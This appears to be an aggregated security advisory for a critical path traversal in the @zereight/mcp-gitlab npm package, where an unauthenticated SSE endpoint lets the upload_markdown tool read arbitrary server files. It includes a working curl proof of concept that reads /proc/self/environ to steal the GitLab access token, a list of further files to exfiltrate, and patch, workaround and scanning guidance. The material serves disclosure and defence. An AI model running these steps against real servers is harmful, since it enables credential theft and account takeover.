@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeoverGHSA-cv3r-c5h8-f4g5
CRITICALFix: zereight/gitlab-mcp#482GHSA-cv3r-c5h8-f4g5 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in @zereight/mcp-gitlab. A fix is available for @zereight/mcp-gitlab — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cv3r-c5h8-f4g5.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-cv3r-c5h8-f4g5 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 398,142 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@zereight/mcp-gitlabnpmDescription
Summary
The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.
Details
Two issues chain together:
1. No authentication on SSE transport (src/index.ts:7350-7388)
When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.
// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
const serverInstance = createServer();
const transport = new SSEServerTransport("/messages", res);
await serverInstance.connect(transport);
});
Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.
2. Arbitrary file read in upload_markdown (src/index.ts:5461-5503)
The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.
async function markdownUpload(projectId: string, filePath: string) {
if (!fs.existsSync(filePath)) {
throw new Error(`File not found: ${filePath}`);
}
const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation
// ... uploads to GitLab project via POST /projects/:id/uploads
}
This tool is in the users toolset, which is enabled by default.
Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.
PoC
Prerequisites:
- A running
@zereight/mcp-gitlabinstance withSSE=trueandGITLAB_PERSONAL_ACCESS_TOKENset (this is the default Docker deployment config) - Network access to the server's port (default: 3002)
- A GitLab project ID the PAT has write access to (use
list_projectsto enumerate)
Steps:
# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')
# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "list_projects",
"arguments": {"owned": true}
}
}'
# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
# and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "upload_markdown",
"arguments": {
"project_id": "<WRITABLE_PROJECT_ID>",
"file_path": "/proc/self/environ"
}
}
}'
# 4. The response contains a GitLab upload URL like:
# {"markdown": "", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"
# 6. The file contains NUL-separated environment variables including:
# GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"
Other exfiltrable targets (running as root in Docker):
| File | Contents |
|---|---|
/proc/self/environ | All env vars including GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx |
/proc/self/cmdline | Command line args (token if passed via CLI) |
/etc/shadow | System password hashes |
/app/build/index.js | Full application source code |
~/.gitlab-mcp-token.json | OAuth tokens (if OAuth mode was used) |
Impact
Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @zereight/mcp-gitlab | all versions | 2.1.27npm install @zereight/mcp-gitlab@2.1.27 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @zereight/mcp-gitlab, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @zereight/mcp-gitlab to 2.1.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cv3r-c5h8-f4g5 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How to detect GHSA-cv3r-c5h8-f4g5
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-cv3r-c5h8-f4g5 -u https://target- Template
- GitLab MCP Server < 2.1.27 - Unauthenticated SSE Transport Access
- Severity
- critical
- Impact
- Unauthenticated attackers can invoke all MCP tools exposed by the server, read arbitrary local files including /proc/self/environ, and recover the configured GITLAB_PERSONAL_ACCESS_TOKEN, leading to full GitLab account takeover.
- Remediation
- Update to @zereight/mcp-gitlab 2.1.27 or later, set SSE_AUTH_TOKEN, and bind the service to a loopback address.
Template by ProjectDiscovery nuclei-templates (ashish-cybersec), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-cv3r-c5h8-f4g5 in your dependencies?
Find it across npm, including transitive dependencies.